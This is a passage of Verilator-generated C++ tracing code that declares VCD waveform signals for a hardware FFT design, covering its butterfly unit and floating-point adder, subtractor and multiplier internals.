vlTOPp->__Vm_traceActivity = 0U;
}
void Vtop_fft::traceInitThis__1(Vtop_fft__Syms* __restrict vlSymsp, VerilatedVcd* vcdp, uint32_t code) {
Vtop_fft* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
int c=code;
if (0 && vcdp && c) {} // Prevent unused
// Body
{
vcdp->declBit (c+398,"clk",-1);
vcdp->declBit (c+399,"done",-1);
vcdp->declBit (c+398,"v clk",-1);
vcdp->declBit (c+399,"v done",-1);
vcdp->declBit (c+110,"v rst_n",-1);
vcdp->declBit (c+49,"v start",-1);
vcdp->declBus (c+396,"v BFLY0_op1_ix",-1,2,0);
vcdp->declBus (c+386,"v BFLY0_op2_ix",-1,2,0);
vcdp->declBus (c+387,"v BFLY0_access_type",-1,2,0);
vcdp->declBus (c+388,"v fftctl_cycle_num",-1,4,0);
vcdp->declBit (c+108,"v busy",-1);
vcdp->declBit (c+398,"v fftclk",-1);
vcdp->declBus (c+395,"v suppress_wz",-1,3,0);
vcdp->declBus (c+389,"v bypass_read",-1,3,0);
{int i; for (i=0; i<4; i++) {
vcdp->declBit (c+390+i*1,"v bufnum",(i+0));}}
vcdp->declBus (c+388,"v cycle_num",-1,4,0);
vcdp->declBus (c+83,"v BFLY0_twiddle_cos",-1,31,0);
vcdp->declBus (c+84,"v BFLY0_twiddle_sin",-1,31,0);
vcdp->declQuad (c+123,"v BFLY0_in1_data",-1,63,0);
vcdp->declQuad (c+125,"v BFLY0_in2_data",-1,63,0);
vcdp->declQuad (c+127,"v BFLY0_out1_data",-1,63,0);
vcdp->declQuad (c+129,"v BFLY0_out2_data",-1,63,0);
vcdp->declBus (c+102,"v BFLY0_op1_bnum",-1,1,0);
vcdp->declBus (c+85,"v BFLY0_op2_bnum",-1,1,0);
vcdp->declBus (c+397,"v BFLY0_op1_rnum",-1,0,0);
vcdp->declBus (c+394,"v BFLY0_op2_rnum",-1,0,0);
// Tracing: v _shortrealtobits_0 // Ignored: Inlined leading underscore at genesis_verif/top_fft.v:136
// Tracing: v _shortrealtobits_1 // Ignored: Inlined leading underscore at genesis_verif/top_fft.v:137
vcdp->declBus (c+385,"v cycle_counter",-1,31,0);
vcdp->declBus (c+396,"v BFLY0_op1_swizzle addr_i",-1,2,0);
vcdp->declBus (c+397,"v BFLY0_op1_swizzle rnum_o",-1,0,0);
vcdp->declBus (c+102,"v BFLY0_op1_swizzle bnum_o",-1,1,0);
vcdp->declBus (c+386,"v BFLY0_op2_swizzle addr_i",-1,2,0);
vcdp->declBus (c+394,"v BFLY0_op2_swizzle rnum_o",-1,0,0);
vcdp->declBus (c+85,"v BFLY0_op2_swizzle bnum_o",-1,1,0);
vcdp->declBit (c+398,"v BFLY0 fftclk",-1);
vcdp->declBit (c+131,"v BFLY0 ready",-1);
vcdp->declQuad (c+123,"v BFLY0 in1",-1,63,0);
vcdp->declQuad (c+125,"v BFLY0 in2",-1,63,0);
vcdp->declBus (c+83,"v BFLY0 twc",-1,31,0);
vcdp->declBus (c+84,"v BFLY0 tws",-1,31,0);
vcdp->declQuad (c+127,"v BFLY0 out1",-1,63,0);
vcdp->declQuad (c+129,"v BFLY0 out2",-1,63,0);
vcdp->declBus (c+132,"v BFLY0 t1",-1,31,0);
vcdp->declBus (c+133,"v BFLY0 t1a",-1,31,0);
vcdp->declBus (c+134,"v BFLY0 t1b",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 t2",-1,31,0);
vcdp->declBus (c+136,"v BFLY0 t2a",-1,31,0);
vcdp->declBus (c+137,"v BFLY0 t2b",-1,31,0);
vcdp->declBus (c+400,"v BFLY0 status_t1",-1,7,0);
vcdp->declBus (c+401,"v BFLY0 status_t1a",-1,7,0);
vcdp->declBus (c+402,"v BFLY0 status_t1b",-1,7,0);
vcdp->declBus (c+403,"v BFLY0 status_t2",-1,7,0);
vcdp->declBus (c+404,"v BFLY0 status_t2a",-1,7,0);
vcdp->declBus (c+405,"v BFLY0 status_t2b",-1,7,0);
vcdp->declBus (c+406,"v BFLY0 status_o1r",-1,7,0);
vcdp->declBus (c+407,"v BFLY0 status_o1i",-1,7,0);
vcdp->declBus (c+408,"v BFLY0 status_o2r",-1,7,0);
vcdp->declBus (c+409,"v BFLY0 status_o2i",-1,7,0);
vcdp->declBus (c+133,"v BFLY0 sub_t1 a",-1,31,0);
vcdp->declBus (c+134,"v BFLY0 sub_t1 b",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 sub_t1 z",-1,31,0);
vcdp->declBit (c+410,"v BFLY0 sub_t1 FPU op",-1);
vcdp->declBus (c+133,"v BFLY0 sub_t1 FPU a",-1,31,0);
vcdp->declBus (c+134,"v BFLY0 sub_t1 FPU b",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 sub_t1 FPU z",-1,31,0);
vcdp->declBus (c+138,"v BFLY0 sub_t1 FPU abs_a",-1,31,0);
vcdp->declBus (c+139,"v BFLY0 sub_t1 FPU abs_b",-1,31,0);
vcdp->declBus (c+140,"v BFLY0 sub_t1 FPU zadd",-1,31,0);
vcdp->declBus (c+141,"v BFLY0 sub_t1 FPU zsub",-1,31,0);
vcdp->declBit (c+142,"v BFLY0 sub_t1 FPU apos",-1);
vcdp->declBit (c+143,"v BFLY0 sub_t1 FPU bpos",-1);
vcdp->declBus (c+144,"v BFLY0 sub_t1 FPU zraw",-1,31,0);
vcdp->declBus (c+138,"v BFLY0 sub_t1 FPU ADD a",-1,31,0);
vcdp->declBus (c+139,"v BFLY0 sub_t1 FPU ADD b",-1,31,0);
vcdp->declBus (c+140,"v BFLY0 sub_t1 FPU ADD z",-1,31,0);
vcdp->declBit (c+145,"v BFLY0 sub_t1 FPU ADD as",-1);
vcdp->declBit (c+146,"v BFLY0 sub_t1 FPU ADD bs",-1);
vcdp->declBus (c+147,"v BFLY0 sub_t1 FPU ADD ae",-1,7,0);
vcdp->declBus (c+148,"v BFLY0 sub_t1 FPU ADD be",-1,7,0);
vcdp->declQuad (c+149,"v BFLY0 sub_t1 FPU ADD am",-1,47,0);
vcdp->declQuad (c+151,"v BFLY0 sub_t1 FPU ADD bm",-1,47,0);
vcdp->declBus (c+153,"v BFLY0 sub_t1 FPU ADD ediff",-1,7,0);
vcdp->declBit (c+154,"v BFLY0 sub_t1 FPU ADD ignore_a",-1);
vcdp->declBit (c+155,"v BFLY0 sub_t1 FPU ADD ignore_b",-1);
vcdp->declQuad (c+156,"v BFLY0 sub_t1 FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+158,"v BFLY0 sub_t1 FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+160,"v BFLY0 sub_t1 FPU ADD ze",-1,7,0);
vcdp->declQuad (c+161,"v BFLY0 sub_t1 FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+163,"v BFLY0 sub_t1 FPU ADD zm",-1,24,0);
vcdp->declBus (c+164,"v BFLY0 sub_t1 FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+165,"v BFLY0 sub_t1 FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+138,"v BFLY0 sub_t1 FPU SUB a",-1,31,0);
vcdp->declBus (c+139,"v BFLY0 sub_t1 FPU SUB b",-1,31,0);
vcdp->declBus (c+141,"v BFLY0 sub_t1 FPU SUB z",-1,31,0);
vcdp->declBit (c+145,"v BFLY0 sub_t1 FPU SUB as",-1);
vcdp->declBit (c+146,"v BFLY0 sub_t1 FPU SUB bs",-1);
vcdp->declBus (c+147,"v BFLY0 sub_t1 FPU SUB ae",-1,7,0);
vcdp->declBus (c+148,"v BFLY0 sub_t1 FPU SUB be",-1,7,0);
vcdp->declQuad (c+149,"v BFLY0 sub_t1 FPU SUB am",-1,47,0);
vcdp->declQuad (c+151,"v BFLY0 sub_t1 FPU SUB bm",-1,47,0);
vcdp->declBus (c+153,"v BFLY0 sub_t1 FPU SUB ediff",-1,7,0);
vcdp->declBit (c+154,"v BFLY0 sub_t1 FPU SUB ignore_a",-1);
vcdp->declBit (c+155,"v BFLY0 sub_t1 FPU SUB ignore_b",-1);
vcdp->declQuad (c+166,"v BFLY0 sub_t1 FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+168,"v BFLY0 sub_t1 FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+170,"v BFLY0 sub_t1 FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+172,"v BFLY0 sub_t1 FPU SUB zm",-1,23,0);
vcdp->declBus (c+173,"v BFLY0 sub_t1 FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+174,"v BFLY0 sub_t1 FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+160,"v BFLY0 sub_t1 FPU SUB ze",-1,7,0);
vcdp->declBus (c+175,"v BFLY0 sub_t1 FPU SUB ze_final",-1,7,0);
vcdp->declBus (c+83,"v BFLY0 mult_t1a a",-1,31,0);
vcdp->declBus (c+176,"v BFLY0 mult_t1a b",-1,31,0);
vcdp->declBus (c+133,"v BFLY0 mult_t1a z",-1,31,0);
vcdp->declBus (c+83,"v BFLY0 mult_t1a MUL a",-1,31,0);
vcdp->declBus (c+176,"v BFLY0 mult_t1a MUL b",-1,31,0);
vcdp->declBus (c+133,"v BFLY0 mult_t1a MUL z",-1,31,0);
vcdp->declBit (c+98,"v BFLY0 mult_t1a MUL zs",-1);
vcdp->declQuad (c+86,"v BFLY0 mult_t1a MUL am",-1,47,0);
vcdp->declQuad (c+177,"v BFLY0 mult_t1a MUL bm",-1,47,0);
vcdp->declQuad (c+179,"v BFLY0 mult_t1a MUL ab",-1,47,0);
vcdp->declBit (c+181,"v BFLY0 mult_t1a MUL too_big",-1);
vcdp->declBus (c+182,"v BFLY0 mult_t1a MUL zm_true",-1,23,0);
vcdp->declBus (c+183,"v BFLY0 mult_t1a MUL zm_hidden",-1,22,0);
vcdp->declBus (c+183,"v BFLY0 mult_t1a MUL zm",-1,22,0);
vcdp->declBus (c+411,"v BFLY0 mult_t1a MUL bias",-1,8,0);
vcdp->declBus (c+88,"v BFLY0 mult_t1a MUL a_exp",-1,8,0);
vcdp->declBus (c+184,"v BFLY0 mult_t1a MUL b_exp",-1,8,0);
vcdp->declBus (c+185,"v BFLY0 mult_t1a MUL ae_plus_be",-1,8,0);
vcdp->declBus (c+186,"v BFLY0 mult_t1a MUL ze_prenorm",-1,8,0);
vcdp->declBus (c+187,"v BFLY0 mult_t1a MUL ze_norm",-1,8,0);
vcdp->declBus (c+188,"v BFLY0 mult_t1a MUL ze",-1,7,0);
vcdp->declBit (c+189,"v BFLY0 mult_t1a MUL ufw",-1);
vcdp->declBit (c+190,"v BFLY0 mult_t1a MUL ofw",-1);
vcdp->declBus (c+84,"v BFLY0 mult_t1b a",-1,31,0);
vcdp->declBus (c+191,"v BFLY0 mult_t1b b",-1,31,0);
vcdp->declBus (c+134,"v BFLY0 mult_t1b z",-1,31,0);
vcdp->declBus (c+84,"v BFLY0 mult_t1b MUL a",-1,31,0);
vcdp->declBus (c+191,"v BFLY0 mult_t1b MUL b",-1,31,0);
vcdp->declBus (c+134,"v BFLY0 mult_t1b MUL z",-1,31,0);
vcdp->declBit (c+99,"v BFLY0 mult_t1b MUL zs",-1);
vcdp->declQuad (c+89,"v BFLY0 mult_t1b MUL am",-1,47,0);
vcdp->declQuad (c+192,"v BFLY0 mult_t1b MUL bm",-1,47,0);
vcdp->declQuad (c+194,"v BFLY0 mult_t1b MUL ab",-1,47,0);
vcdp->declBit (c+196,"v BFLY0 mult_t1b MUL too_big",-1);
vcdp->declBus (c+197,"v BFLY0 mult_t1b MUL zm_true",-1,23,0);
vcdp->declBus (c+198,"v BFLY0 mult_t1b MUL zm_hidden",-1,22,0);
vcdp->declBus (c+198,"v BFLY0 mult_t1b MUL zm",-1,22,0);
vcdp->declBus (c+411,"v BFLY0 mult_t1b MUL bias",-1,8,0);
vcdp->declBus (c+91,"v BFLY0 mult_t1b MUL a_exp",-1,8,0);
vcdp->declBus (c+199,"v BFLY0 mult_t1b MUL b_exp",-1,8,0);
vcdp->declBus (c+200,"v BFLY0 mult_t1b MUL ae_plus_be",-1,8,0);
vcdp->declBus (c+201,"v BFLY0 mult_t1b MUL ze_prenorm",-1,8,0);
vcdp->declBus (c+202,"v BFLY0 mult_t1b MUL ze_norm",-1,8,0);
vcdp->declBus (c+203,"v BFLY0 mult_t1b MUL ze",-1,7,0);
vcdp->declBit (c+204,"v BFLY0 mult_t1b MUL ufw",-1);
vcdp->declBit (c+205,"v BFLY0 mult_t1b MUL ofw",-1);
vcdp->declBus (c+136,"v BFLY0 add_t2 a",-1,31,0);
vcdp->declBus (c+137,"v BFLY0 add_t2 b",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 add_t2 z",-1,31,0);
vcdp->declBit (c+412,"v BFLY0 add_t2 FPU op",-1);
vcdp->declBus (c+136,"v BFLY0 add_t2 FPU a",-1,31,0);
vcdp->declBus (c+137,"v BFLY0 add_t2 FPU b",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 add_t2 FPU z",-1,31,0);
vcdp->declBus (c+206,"v BFLY0 add_t2 FPU abs_a",-1,31,0);
vcdp->declBus (c+207,"v BFLY0 add_t2 FPU abs_b",-1,31,0);
vcdp->declBus (c+208,"v BFLY0 add_t2 FPU zadd",-1,31,0);
vcdp->declBus (c+209,"v BFLY0 add_t2 FPU zsub",-1,31,0);
vcdp->declBit (c+210,"v BFLY0 add_t2 FPU apos",-1);
vcdp->declBit (c+211,"v BFLY0 add_t2 FPU bpos",-1);
vcdp->declBus (c+212,"v BFLY0 add_t2 FPU zraw",-1,31,0);
vcdp->declBus (c+206,"v BFLY0 add_t2 FPU ADD a",-1,31,0);
vcdp->declBus (c+207,"v BFLY0 add_t2 FPU ADD b",-1,31,0);
vcdp->declBus (c+208,"v BFLY0 add_t2 FPU ADD z",-1,31,0);
vcdp->declBit (c+213,"v BFLY0 add_t2 FPU ADD as",-1);
vcdp->declBit (c+214,"v BFLY0 add_t2 FPU ADD bs",-1);
vcdp->declBus (c+215,"v BFLY0 add_t2 FPU ADD ae",-1,7,0);
vcdp->declBus (c+216,"v BFLY0 add_t2 FPU ADD be",-1,7,0);
vcdp->declQuad (c+217,"v BFLY0 add_t2 FPU ADD am",-1,47,0);
vcdp->declQuad (c+219,"v BFLY0 add_t2 FPU ADD bm",-1,47,0);
vcdp->declBus (c+221,"v BFLY0 add_t2 FPU ADD ediff",-1,7,0);
vcdp->declBit (c+222,"v BFLY0 add_t2 FPU ADD ignore_a",-1);
vcdp->declBit (c+223,"v BFLY0 add_t2 FPU ADD ignore_b",-1);
vcdp->declQuad (c+224,"v BFLY0 add_t2 FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+226,"v BFLY0 add_t2 FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+228,"v BFLY0 add_t2 FPU ADD ze",-1,7,0);
vcdp->declQuad (c+229,"v BFLY0 add_t2 FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+231,"v BFLY0 add_t2 FPU ADD zm",-1,24,0);
vcdp->declBus (c+232,"v BFLY0 add_t2 FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+233,"v BFLY0 add_t2 FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+206,"v BFLY0 add_t2 FPU SUB a",-1,31,0);
vcdp->declBus (c+207,"v BFLY0 add_t2 FPU SUB b",-1,31,0);
vcdp->declBus (c+209,"v BFLY0 add_t2 FPU SUB z",-1,31,0);
vcdp->declBit (c+213,"v BFLY0 add_t2 FPU SUB as",-1);
vcdp->declBit (c+214,"v BFLY0 add_t2 FPU SUB bs",-1);
vcdp->declBus (c+215,"v BFLY0 add_t2 FPU SUB ae",-1,7,0);
vcdp->declBus (c+216,"v BFLY0 add_t2 FPU SUB be",-1,7,0);
vcdp->declQuad (c+217,"v BFLY0 add_t2 FPU SUB am",-1,47,0);
vcdp->declQuad (c+219,"v BFLY0 add_t2 FPU SUB bm",-1,47,0);
vcdp->declBus (c+221,"v BFLY0 add_t2 FPU SUB ediff",-1,7,0);
vcdp->declBit (c+222,"v BFLY0 add_t2 FPU SUB ignore_a",-1);
vcdp->declBit (c+223,"v BFLY0 add_t2 FPU SUB ignore_b",-1);
vcdp->declQuad (c+234,"v BFLY0 add_t2 FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+236,"v BFLY0 add_t2 FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+238,"v BFLY0 add_t2 FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+240,"v BFLY0 add_t2 FPU SUB zm",-1,23,0);
vcdp->declBus (c+241,"v BFLY0 add_t2 FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+242,"v BFLY0 add_t2 FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+228,"v BFLY0 add_t2 FPU SUB ze",-1,7,0);
vcdp->declBus (c+243,"v BFLY0 add_t2 FPU SUB ze_final",-1,7,0);
vcdp->declBus (c+84,"v BFLY0 mult_t2a a",-1,31,0);
vcdp->declBus (c+176,"v BFLY0 mult_t2a b",-1,31,0);
vcdp->declBus (c+136,"v BFLY0 mult_t2a z",-1,31,0);
vcdp->declBus (c+84,"v BFLY0 mult_t2a MUL a",-1,31,0);
vcdp->declBus (c+176,"v BFLY0 mult_t2a MUL b",-1,31,0);
vcdp->declBus (c+136,"v BFLY0 mult_t2a MUL z",-1,31,0);
vcdp->declBit (c+100,"v BFLY0 mult_t2a MUL zs",-1);
vcdp->declQuad (c+89,"v BFLY0 mult_t2a MUL am",-1,47,0);
vcdp->declQuad (c+177,"v BFLY0 mult_t2a MUL bm",-1,47,0);
vcdp->declQuad (c+244,"v BFLY0 mult_t2a MUL ab",-1,47,0);
vcdp->declBit (c+246,"v BFLY0 mult_t2a MUL too_big",-1);
vcdp->declBus (c+247,"v BFLY0 mult_t2a MUL zm_true",-1,23,0);
vcdp->declBus (c+248,"v BFLY0 mult_t2a MUL zm_hidden",-1,22,0);
vcdp->declBus (c+248,"v BFLY0 mult_t2a MUL zm",-1,22,0);
vcdp->declBus (c+411,"v BFLY0 mult_t2a MUL bias",-1,8,0);
vcdp->declBus (c+91,"v BFLY0 mult_t2a MUL a_exp",-1,8,0);
vcdp->declBus (c+184,"v BFLY0 mult_t2a MUL b_exp",-1,8,0);
vcdp->declBus (c+249,"v BFLY0 mult_t2a MUL ae_plus_be",-1,8,0);
vcdp->declBus (c+250,"v BFLY0 mult_t2a MUL ze_prenorm",-1,8,0);
vcdp->declBus (c+251,"v BFLY0 mult_t2a MUL ze_norm",-1,8,0);
vcdp->declBus (c+252,"v BFLY0 mult_t2a MUL ze",-1,7,0);
vcdp->declBit (c+253,"v BFLY0 mult_t2a MUL ufw",-1);
vcdp->declBit (c+254,"v BFLY0 mult_t2a MUL ofw",-1);
vcdp->declBus (c+83,"v BFLY0 mult_t2b a",-1,31,0);
vcdp->declBus (c+191,"v BFLY0 mult_t2b b",-1,31,0);
vcdp->declBus (c+137,"v BFLY0 mult_t2b z",-1,31,0);
vcdp->declBus (c+83,"v BFLY0 mult_t2b MUL a",-1,31,0);
vcdp->declBus (c+191,"v BFLY0 mult_t2b MUL b",-1,31,0);
vcdp->declBus (c+137,"v BFLY0 mult_t2b MUL z",-1,31,0);
vcdp->declBit (c+101,"v BFLY0 mult_t2b MUL zs",-1);
vcdp->declQuad (c+86,"v BFLY0 mult_t2b MUL am",-1,47,0);
vcdp->declQuad (c+192,"v BFLY0 mult_t2b MUL bm",-1,47,0);
vcdp->declQuad (c+255,"v BFLY0 mult_t2b MUL ab",-1,47,0);
vcdp->declBit (c+257,"v BFLY0 mult_t2b MUL too_big",-1);
vcdp->declBus (c+258,"v BFLY0 mult_t2b MUL zm_true",-1,23,0);
vcdp->declBus (c+259,"v BFLY0 mult_t2b MUL zm_hidden",-1,22,0);
vcdp->declBus (c+259,"v BFLY0 mult_t2b MUL zm",-1,22,0);
vcdp->declBus (c+411,"v BFLY0 mult_t2b MUL bias",-1,8,0);
vcdp->declBus (c+88,"v BFLY0 mult_t2b MUL a_exp",-1,8,0);
vcdp->declBus (c+199,"v BFLY0 mult_t2b MUL b_exp",-1,8,0);
vcdp->declBus (c+260,"v BFLY0 mult_t2b MUL ae_plus_be",-1,8,0);
vcdp->declBus (c+261,"v BFLY0 mult_t2b MUL ze_prenorm",-1,8,0);
vcdp->declBus (c+262,"v BFLY0 mult_t2b MUL ze_norm",-1,8,0);
vcdp->declBus (c+263,"v BFLY0 mult_t2b MUL ze",-1,7,0);
vcdp->declBit (c+264,"v BFLY0 mult_t2b MUL ufw",-1);
vcdp->declBit (c+265,"v BFLY0 mult_t2b MUL ofw",-1);
vcdp->declBus (c+266,"v BFLY0 add_o1r a",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 add_o1r b",-1,31,0);
vcdp->declBus (c+267,"v BFLY0 add_o1r z",-1,31,0);
vcdp->declBit (c+412,"v BFLY0 add_o1r FPU op",-1);
vcdp->declBus (c+266,"v BFLY0 add_o1r FPU a",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 add_o1r FPU b",-1,31,0);
vcdp->declBus (c+267,"v BFLY0 add_o1r FPU z",-1,31,0);
vcdp->declBus (c+268,"v BFLY0 add_o1r FPU abs_a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 add_o1r FPU abs_b",-1,31,0);
vcdp->declBus (c+270,"v BFLY0 add_o1r FPU zadd",-1,31,0);
vcdp->declBus (c+271,"v BFLY0 add_o1r FPU zsub",-1,31,0);
vcdp->declBit (c+272,"v BFLY0 add_o1r FPU apos",-1);
vcdp->declBit (c+273,"v BFLY0 add_o1r FPU bpos",-1);
vcdp->declBus (c+274,"v BFLY0 add_o1r FPU zraw",-1,31,0);
vcdp->declBus (c+268,"v BFLY0 add_o1r FPU ADD a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 add_o1r FPU ADD b",-1,31,0);
vcdp->declBus (c+270,"v BFLY0 add_o1r FPU ADD z",-1,31,0);
vcdp->declBit (c+275,"v BFLY0 add_o1r FPU ADD as",-1);
vcdp->declBit (c+276,"v BFLY0 add_o1r FPU ADD bs",-1);
vcdp->declBus (c+277,"v BFLY0 add_o1r FPU ADD ae",-1,7,0);
vcdp->declBus (c+278,"v BFLY0 add_o1r FPU ADD be",-1,7,0);
vcdp->declQuad (c+279,"v BFLY0 add_o1r FPU ADD am",-1,47,0);
vcdp->declQuad (c+281,"v BFLY0 add_o1r FPU ADD bm",-1,47,0);
vcdp->declBus (c+283,"v BFLY0 add_o1r FPU ADD ediff",-1,7,0);
vcdp->declBit (c+284,"v BFLY0 add_o1r FPU ADD ignore_a",-1);
vcdp->declBit (c+285,"v BFLY0 add_o1r FPU ADD ignore_b",-1);
vcdp->declQuad (c+286,"v BFLY0 add_o1r FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+288,"v BFLY0 add_o1r FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+290,"v BFLY0 add_o1r FPU ADD ze",-1,7,0);
vcdp->declQuad (c+291,"v BFLY0 add_o1r FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+293,"v BFLY0 add_o1r FPU ADD zm",-1,24,0);
vcdp->declBus (c+294,"v BFLY0 add_o1r FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+295,"v BFLY0 add_o1r FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+268,"v BFLY0 add_o1r FPU SUB a",-1,31,0);
vcdp->declBus (c+269,"v BFLY0 add_o1r FPU SUB b",-1,31,0);
vcdp->declBus (c+271,"v BFLY0 add_o1r FPU SUB z",-1,31,0);
vcdp->declBit (c+275,"v BFLY0 add_o1r FPU SUB as",-1);
vcdp->declBit (c+276,"v BFLY0 add_o1r FPU SUB bs",-1);
vcdp->declBus (c+277,"v BFLY0 add_o1r FPU SUB ae",-1,7,0);
vcdp->declBus (c+278,"v BFLY0 add_o1r FPU SUB be",-1,7,0);
vcdp->declQuad (c+279,"v BFLY0 add_o1r FPU SUB am",-1,47,0);
vcdp->declQuad (c+281,"v BFLY0 add_o1r FPU SUB bm",-1,47,0);
vcdp->declBus (c+283,"v BFLY0 add_o1r FPU SUB ediff",-1,7,0);
vcdp->declBit (c+284,"v BFLY0 add_o1r FPU SUB ignore_a",-1);
vcdp->declBit (c+285,"v BFLY0 add_o1r FPU SUB ignore_b",-1);
vcdp->declQuad (c+296,"v BFLY0 add_o1r FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+298,"v BFLY0 add_o1r FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+300,"v BFLY0 add_o1r FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+302,"v BFLY0 add_o1r FPU SUB zm",-1,23,0);
vcdp->declBus (c+303,"v BFLY0 add_o1r FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+304,"v BFLY0 add_o1r FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+290,"v BFLY0 add_o1r FPU SUB ze",-1,7,0);
vcdp->declBus (c+305,"v BFLY0 add_o1r FPU SUB ze_final",-1,7,0);
vcdp->declBus (c+306,"v BFLY0 add_o1i a",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 add_o1i b",-1,31,0);
vcdp->declBus (c+307,"v BFLY0 add_o1i z",-1,31,0);
vcdp->declBit (c+412,"v BFLY0 add_o1i FPU op",-1);
vcdp->declBus (c+306,"v BFLY0 add_o1i FPU a",-1,31,0);
vcdp->declBus (c+135,"v BFLY0 add_o1i FPU b",-1,31,0);
vcdp->declBus (c+307,"v BFLY0 add_o1i FPU z",-1,31,0);
vcdp->declBus (c+308,"v BFLY0 add_o1i FPU abs_a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 add_o1i FPU abs_b",-1,31,0);
vcdp->declBus (c+310,"v BFLY0 add_o1i FPU zadd",-1,31,0);
vcdp->declBus (c+311,"v BFLY0 add_o1i FPU zsub",-1,31,0);
vcdp->declBit (c+312,"v BFLY0 add_o1i FPU apos",-1);
vcdp->declBit (c+313,"v BFLY0 add_o1i FPU bpos",-1);
vcdp->declBus (c+314,"v BFLY0 add_o1i FPU zraw",-1,31,0);
vcdp->declBus (c+308,"v BFLY0 add_o1i FPU ADD a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 add_o1i FPU ADD b",-1,31,0);
vcdp->declBus (c+310,"v BFLY0 add_o1i FPU ADD z",-1,31,0);
vcdp->declBit (c+315,"v BFLY0 add_o1i FPU ADD as",-1);
vcdp->declBit (c+316,"v BFLY0 add_o1i FPU ADD bs",-1);
vcdp->declBus (c+317,"v BFLY0 add_o1i FPU ADD ae",-1,7,0);
vcdp->declBus (c+318,"v BFLY0 add_o1i FPU ADD be",-1,7,0);
vcdp->declQuad (c+319,"v BFLY0 add_o1i FPU ADD am",-1,47,0);
vcdp->declQuad (c+321,"v BFLY0 add_o1i FPU ADD bm",-1,47,0);
vcdp->declBus (c+323,"v BFLY0 add_o1i FPU ADD ediff",-1,7,0);
vcdp->declBit (c+324,"v BFLY0 add_o1i FPU ADD ignore_a",-1);
vcdp->declBit (c+325,"v BFLY0 add_o1i FPU ADD ignore_b",-1);
vcdp->declQuad (c+326,"v BFLY0 add_o1i FPU ADD am_adj",-1,47,0);
vcdp->declQuad (c+328,"v BFLY0 add_o1i FPU ADD bm_adj",-1,47,0);
vcdp->declBus (c+330,"v BFLY0 add_o1i FPU ADD ze",-1,7,0);
vcdp->declQuad (c+331,"v BFLY0 add_o1i FPU ADD am_plus_bm",-1,47,0);
vcdp->declBus (c+333,"v BFLY0 add_o1i FPU ADD zm",-1,24,0);
vcdp->declBus (c+334,"v BFLY0 add_o1i FPU ADD zm_final",-1,22,0);
vcdp->declBus (c+335,"v BFLY0 add_o1i FPU ADD ze_final",-1,7,0);
vcdp->declBus (c+308,"v BFLY0 add_o1i FPU SUB a",-1,31,0);
vcdp->declBus (c+309,"v BFLY0 add_o1i FPU SUB b",-1,31,0);
vcdp->declBus (c+311,"v BFLY0 add_o1i FPU SUB z",-1,31,0);
vcdp->declBit (c+315,"v BFLY0 add_o1i FPU SUB as",-1);
vcdp->declBit (c+316,"v BFLY0 add_o1i FPU SUB bs",-1);
vcdp->declBus (c+317,"v BFLY0 add_o1i FPU SUB ae",-1,7,0);
vcdp->declBus (c+318,"v BFLY0 add_o1i FPU SUB be",-1,7,0);
vcdp->declQuad (c+319,"v BFLY0 add_o1i FPU SUB am",-1,47,0);
vcdp->declQuad (c+321,"v BFLY0 add_o1i FPU SUB bm",-1,47,0);
vcdp->declBus (c+323,"v BFLY0 add_o1i FPU SUB ediff",-1,7,0);
vcdp->declBit (c+324,"v BFLY0 add_o1i FPU SUB ignore_a",-1);
vcdp->declBit (c+325,"v BFLY0 add_o1i FPU SUB ignore_b",-1);
vcdp->declQuad (c+336,"v BFLY0 add_o1i FPU SUB am_adj",-1,47,0);
vcdp->declQuad (c+338,"v BFLY0 add_o1i FPU SUB bm_adj",-1,47,0);
vcdp->declQuad (c+340,"v BFLY0 add_o1i FPU SUB abs_am_minus_bm",-1,47,0);
vcdp->declBus (c+342,"v BFLY0 add_o1i FPU SUB zm",-1,23,0);
vcdp->declBus (c+343,"v BFLY0 add_o1i FPU SUB need_shift",-1,7,0);
vcdp->declBus (c+344,"v BFLY0 add_o1i FPU SUB zm_final",-1,22,0);
vcdp->declBus (c+330,"v BFLY0 add_o1i FPU SUB ze",-1,7,0);
vcdp->declBus (c+345,"v BFLY0 add_o1i FPU SUB ze_final",-1,7,0);
vcdp->declBus (c+266,"v BFLY0 sub_o2r a",-1,31,0);
vcdp->declBus (c+132,"v BFLY0 sub_o2r b",-1,31,0);
vcdp->declBus (c+346,"v BFLY0 sub_o2r z",-1,31,0);
